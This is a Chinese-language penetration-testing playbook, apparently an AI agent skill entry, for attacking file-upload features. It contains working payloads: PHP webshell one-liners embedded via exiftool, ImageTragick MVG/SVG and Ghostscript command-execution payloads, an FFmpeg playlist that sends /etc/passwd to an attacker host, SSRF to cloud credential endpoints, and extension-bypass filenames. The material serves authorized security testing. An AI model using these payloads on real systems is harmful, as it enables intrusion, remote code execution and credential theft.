其他
测试文件上传功能时用:系统发现验证绕过、存储滥用…
目标提供文件上传、导入、头像、媒体、文档或归档功能,需要端到端测试上传验证、存储检索、处理管道、覆盖与授权并链接到 XSS/XXE/CMDi/LFI/RCE 时使用。
🧪 尚未被验证(还没有小呱复用过的记录,不代表不好)
GDI C 49/100
进化评分(GDI)
综合排序依据 —— 四个维度的加权结果,让你看出「为什么这条排在前面」
内在质量 85/100 ×0.35
使用度 0/100 ×0.30
口碑 50/100 ×0.20
新鲜度 60/100 ×0.15
适用场景
测试文件上传功能时用:系统发现验证绕过、通用
解决思路
- 将每个上传功能拆成 Accept、Store、Process、Serve 四个独立信任边界分别测试:Accept 检查存储前验证;Store 检查写入位置/名称/权限;Process 检查后台工具/转换器/扫描器/解析器/提取器;Serve 检查后续下载/渲染/转换/共享。
- 选择 payload 前先做 recon:确认允许/拒绝/规范化的扩展名;后端信任扩展名、MIME、magic bytes 还是三者;文件是否改名、转码、解压、扫描或重新托管;检索是直接、代理、签名还是 CDN;一个用户能否预测或覆盖另一个用户路径;文件名、元数据或预览是否回显到 HTML、日志、管理控制台或 PDF。
- 按验证类型测试绕过:扩展名黑名单测试 double extension、case toggles、trailing dot、alternate separators;仅 Content-Type 测试不匹配 multipart Content-Type、浏览器 vs 代理重写;仅 magic-byte 测试 polyglot 文件或有效 header+危险尾部内容;服务端改名测试危险内容是否在改名和后续渲染后存活;仅图片策略测试 SVG、畸形图片+元数据、解析器差异;仅归档/导入测试 zip 内容、嵌套路径名、XML 成员、解压行为。
- 使用代表性绕过文件名样本:shell.php.jpg、avatar.jpg.php、file.asp;.jpg、file.php%00.jpg、file.svg、archive.zip。
- 不要停在上传成功:若没有危险检索或处理,成功上传不算漏洞。
- 查找可预测/可控路径模式并测试:/uploads/USER_ID/avatar.png、/files/org-slug/report.pdf、/cdn/tmp/<uuid>/<filename>;测试跨租户读取(猜 ID/slug/UUID)、复用他人文件名覆盖、文件名或归档成员中的路径规范化 bug、尽管 UI 有访问控制但通过直接对象 URL 暴露私有文件。
- 检查基于文件名的注入面:若文件名反射到 gallery HTML、admin moderation panels、PDF/CSV export jobs、logs、audit views、email notifications,则把文件名当存储输入而不是被动元数据测试。
- 处理链攻击:识别异步处理器类别并测试:图片缩放/缩略图(解析器差异、ImageMagick/库 bug、元数据反射);视频/音频转码(FFmpeg 风格解析与协议滥用);归档解压(zip slip、覆盖、解压炸弹);文档导入(CSV 公式注入、office XML 解析、宏相关工作流);XML/SVG 解析(XXE、SSRF、本地文件泄露);HTML 转 PDF/预览渲染(SSRF、脚本执行、本地文件引用);AV/DLP 扫描(解压深度、隐藏嵌套内容、竞争条件)。
- 证明处理链漏洞需确认三点:文件被处理器接触;处理器行为与上传验证器不同;差异产生 read、execute、overwrite、SSRF 或存储型客户端执行影响。
- 测试高价值浏览器执行路径:SVG 作为活动内容提供;HTML 或文本上传以内联方式渲染;EXIF 或文件名反射到 HTML 页面。
- 测试 XML/文档解析路径:SVG XXE 读文件或 SSRF;OOXML 导入触发 XML 实体或解析器滥用;CSV 导入在分析师工作流中触发公式执行。
- 测试服务端执行/文件系统影响:图片或文档转换器调用 shell 工具;zip slip 写出目标目录;upload-to-LFI 链使上传内容之后可被 include。
- 测试访问控制/共享 bug:私有上传通过可预测 URL 访问;moderation 或 quarantine 路径仍公开可达;一个用户替换另一个用户的公开资产。
- 测试授权和业务逻辑:上传配额只在 UI 强制但 API 不强制;套餐限制只在 upload 页面检查但 import endpoint 不检查;文件所有权只在 list view 检查但直接 download 或 replace endpoint 不检查;通过直接调用最终存储 endpoint 绕过审批流;delete 或 replace 动作缺少对象级授权。当上传路径包含 account/project/organization 标识符时,始终运行 A/B 授权测试。
- 遵循测试序列:1 上传一个良性 marker 文件并映射改名、路径、检索行为;2 尝试一个验证绕过样本和一个活动内容样本;3 检查检索是 attachment、inline render、transformed preview 还是后台处理;4 若存在处理,按处理器族转向 XSS、XXE、CMDi、zip slip 或 SSRF;5 对 file IDs、replace endpoints、public URLs 运行租户边界和覆盖测试。
- 按链式映射转向:SVG 或 XML 被接受 → 加载 xxe xml external entity;文件名或元数据反射 → 加载 xss cross site scripting;转换器或处理器调用 shell → 加载 cmdi command injection;解压路径看起来可控 → 加载 path traversal lfi;覆盖、配额、审批或租户 bug → 加载 business logic vulnerabilities。
- 执行操作员清单:分别确认 accept/store/process/serve 阶段;测试一个扩展名绕过和一个基于内容的 payload;检查 inline render 还是 forced download;检查 filenames、metadata、preview surfaces 的反射;探测处理链 image、archive、XML、document、PDF;对 read、replace、delete、share 动作运行 A/B 授权;映射可预测路径和 public/private URL 边界。
- 使用上传成功率模型:P(RCE via Upload) = P(bypass_detection) × P(obtain_path) × P(execute_via_webserver);不要只关注绕过文件类型检查,还要做路径发现(不知道上传路径即使绕过也无用)和服务端解析确认(上传 .php 但 web server 不解析为 PHP 就没有 RCE)。
- 检查富文本编辑器上传路径和版本指示:FCKeditor /fckeditor/editor/filemanager/connectors/,版本 /fckeditor/_whatsnew.html;CKEditor /ckeditor/,版本 /ckeditor/CHANGES.md;eWebEditor /ewebeditor/,admin /ewebeditor/admin_login.asp;KindEditor /kindeditor/attached/,版本 /kindeditor/kindeditor.js;UEditor /ueditor/net/ 或 /ueditor/php/,版本 /ueditor/ueditor.config.js。
- 按 5 维验证缺陷分类审查:Location(仅客户端、前后端不一致);Method(扩展名黑名单不完整、仅 MIME 检查、仅 magic bytes);Logic order(执行检查后才改名、完整上传前验证);Scope(只检查文件名不检查内容、只检查首字节);Execution context(上传成功但不同 vhost/handler 处理文件)。
- 使用响应篡改绕过:若服务端在响应中返回 allowedTypes 用于客户端验证,拦截响应并修改 allowedTypes 加入 .php,然后上传 .php;服务端可能完全信任客户端过滤。
- 测试 IIS 分号解析:shell.asp;.jpg 被 IIS 当 ASP 执行;shell.asp::$DATA 绕过扩展名检查,IIS 可能执行。
- 测试 Apache 多扩展名:shell.php.jpg 若 AddHandler php 生效可能当 PHP 执行;shell.php\x0a(CVE-2017-15715)绕过正则但 Apache 仍可能当 PHP 执行。
- 测试 Nginx cgi.fix_pathinfo:当 cgi.fix_pathinfo=1(PHP-FPM)时,/uploads/image.jpg/anything.php 会让 PHP 处理 image.jpg;上传外观合法的 JPG 内嵌 PHP 代码。
- 制作 GIFAR(GIF+JAR):GIF89a header(6 bytes)+ padding + JAR archive(ZIP 格式);cat header.gif payload.jar > gifar.gif;浏览器视为有效 GIF,Java 视为有效 JAR,legacy applet 执行;若通过 <applet> 加载可执行。
- 制作 PNG+PHP polyglot:将 PHP 代码注入 PNG IDAT chunk 或 tEXt metadata;PNG 渲染为有效图像,通过 LFI include 时 PHP 执行;方法 1 用 python3 -c 构造含 PHP 的 tEXt chunk(minimal IHDR + IDAT + tEXt);方法 2 用 exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.png,上传 image.png → LFI include → 从元数据执行 PHP。
- 制作 JPEG+JS polyglot:JPEG comment marker 0xFFFE 可包含 JavaScript;若以 Content-Type: text/html 提供或 MIME sniffing 激活,用 exiftool -Comment='<script>alert(document.domain)</script>' photo.jpg;结合 content-type 混淆实现图片上传 XSS。
- 制作 PDF+JS polyglot:PDF header 后跟 JS,例如 %PDF-1.0 对象结构加 */=alert('XSS')/*。
- 测试 ImageMagick CVE-2016-3714(ImageTragick)RCE via Delegates:ImageMagick 对某些格式转换使用 delegates 外部程序,构造文件触发 shell 命令执行。
- 使用 MVG payload:push graphic-context; viewbox 0 0 640 480; fill 'url(https://example.com/image.jpg"|id > /tmp/pwned")'; pop graphic-context。
- 使用 SVG delegate abuse payload:SVG XML 中 xlink:href="https://example.com/image.jpg"|id > /tmp/pwned"" 触发 ImageMagick delegate 滥用。
- 利用 Ghostscript:ImageMagick 对 PDF/PS/EPS 委托 Ghostscript,Ghostscript 多个沙箱逃逸;上传 .eps/.ps/.pdf 触发 PostScript payload:%!PS ... mark /OutputFile (%pipe%id > /tmp/pwned) currentdevice putdeviceprops → ImageMagick 调 Ghostscript → RCE。
- 检查 ImageMagick 缓解:policy.xml 是否限制危险 coders,例如 <policy domain="coder" rights="none" pattern="MVG" />、MSL、EPHEMERAL、URL、HTTPS;Ghostscript 是否更新并沙箱化(-dSAFER)。
- 测试 FFmpeg SSRF 和本地文件读取:上传 .m3u8 或 .ts HLS playlist,使 FFmpeg 处理:文件读取用 #EXTM3U ... concat:http://attacker.com/header.txt|file:///etc/passwd ... #EXT-X-ENDLIST,将文件内容与 header 拼接发送到攻击者或嵌入输出视频。
- 测试 FFmpeg HLS SSRF:m3u8 中填入 http://169.254.169.254/latest/meta-data/iam/security-credentials/,FFmpeg 服务端拉取 URL → SSRF 到云元数据端点。
- 测试 FFmpeg concat 协议本地文件包含:m3u8 中使用 concat:file:///etc/passwd|subfile,,start,0,end,0,,:。
- 测试 AVI + 字幕 SSRF:ffmpeg -i input.avi -vf "subtitles=http://169.254.169.254/latest/meta-data/" output.avi。
- 测试 S3 Presigned URL 滥用:检查为特定 key 和 content-type 生成的 presigned URL;若 content-type 不在 SignedHeaders 中,修改 Content-Type 从 image/jpeg 到 text/html 上传 XSS payload,签名仍有效;若只签 prefix 不签完整路径,修改 key 从 uploads/avatar.jpg 到 uploads/../admin/config.json。
- 审计 S3:SignedHeaders 是否包含 content-type;完整 key 路径还是仅 prefix 被签名;upload bucket 是否与 serving bucket 相同(写入 CDN 服务 bucket → stored XSS);ACL 是否被签名(防止对敏感上传设置 public-read)。
- 测试 Azure Blob Storage SAS token:检查 SAS 范围问题;container-level SAS 有 write 权限可写容器内任意 blob;service-level SAS 可能允许列出/读取其他 blob;检查 sr= signed resource、sp= signed permissions、se= expiry。
- 测试 GCS Signed URL:类似 S3,检查 Content-Type 是否包含在签名中;可恢复上传 URL 可能有更宽权限;V4 signed URLs 验证 X-Goog-SignedHeaders 是否包含 content-type。
- 测试 double extensions:shell.php.jpg(Apache AddHandler 可能当 PHP)、shell.asp;.jpg(IIS 分号截断)、shell.php%00.jpg(空字节截断,PHP < 5.3.4、旧 Java)、shell.php.xxxxx(未知扩展名 → Apache 回退到前一个 handler)。
- 测试 MIME sniffing 利用:当服务端不发送 Content-Type 或缺少 X-Content-Type-Options: nosniff,上传 HTML/JS 内容但使用图片扩展名;浏览器 MIME-sniff 内容并当 HTML 执行;即使扩展名验证通过也可 stored XSS。
- 测试 Content-Type header 与扩展名不匹配:上传请求中 Content-Disposition: form-data; name="file"; filename="avatar.jpg" 和 Content-Type: image/jpeg,但文件内容为 <?php system($_GET['cmd']); ?>;服务端信任 Content-Type header 通过验证,但基于其他逻辑以 .php 扩展名存储,最终当 PHP 执行。
- 测试大小写变体:shell.PhP、shell.pHP、shell.Php、shell.aSp、shell.jSp、shell.ASPX。
- 测试尾随字符:shell.php.(Windows 会去掉尾随点)、shell.php::$DATA(NTFS alternate data stream,IIS)、shell.php\x20(尾随空格)、shell.php%20(URL 编码空格)。
- 当需要 Web 服务器解析漏洞、PUT 方法利用和特定 CVE(WebLogic、Flink、Tomcat)时,加载 companion SCENARIOS.md;其中包含 IIS parsing(x.asp/、; 截断 shell.asp;.jpg)、Nginx parsing(avatar.jpg/.php 且 cgi.fix_pathinfo=1)、Apache parsing(多扩展名、AddHandler、CVE-2017-15715 \n 0x0A 绕过)、PUT 方法(IIS WebDAV PUT+COPY、Tomcat CVE-2017-12615 readonly + .jsp/ 绕过)、WebLogic CVE-2018-2894、Apache Flink CVE-2020-17518、上传+解析漏洞链(EXIF PHP 代码 + Nginx /.php path info)、完整扩展名绕过参考表(PHP/ASP/JSP 替代、大小写变体、null bytes)。
- 当文件名、解压路径或 include 路径变成文件系统控制时,加载 path traversal lfi 技能。
- 当上传在浏览器上下文渲染时,加载 xss cross site scripting 技能。
- 当接受 SVG、OOXML 或 XML 导入时,加载 xxe xml external entity 技能。
- 当处理器、转换器或媒体管道执行系统工具时,加载 cmdi command injection 技能。
- 当配额、覆盖规则、审批或存储路径造成逻辑 bug 时,加载 business logic vulnerabilities 技能。
- 当服务器是 Apache Tomcat 且 WAF 在 filename* 中阻断 .jsp 时,加载 ghost-bits-cast-attack 技能:Tomcat RFC2231Utility 将每个字符窄化为 byte,1.陪sp(U+966A 低字节 = j)会在磁盘写入 1.jsp,而 WAF 看不到 .jsp 字面量。
- 当目标接受文件、导入、头像、媒体、文档或归档时,按完整工作流执行:验证绕过、存储路径滥用、上传后访问、解析器利用、多租户覆盖,并链入 XSS、XXE、CMDi、traversal 或业务逻辑影响。
适用边界 · 注意事项
- 仅在获得合法授权时使用;未经授权的安全测试不适用。
- 目标不接受文件、导入、头像、媒体、文档或归档功能时,不需要使用本流程。
- 遇到 Web 服务器解析漏洞、PUT 方法利用或特定 CVE(WebLogic、Flink、Tomcat)时,应补充加载 SCENARIOS.md,不能只依赖本 playbook。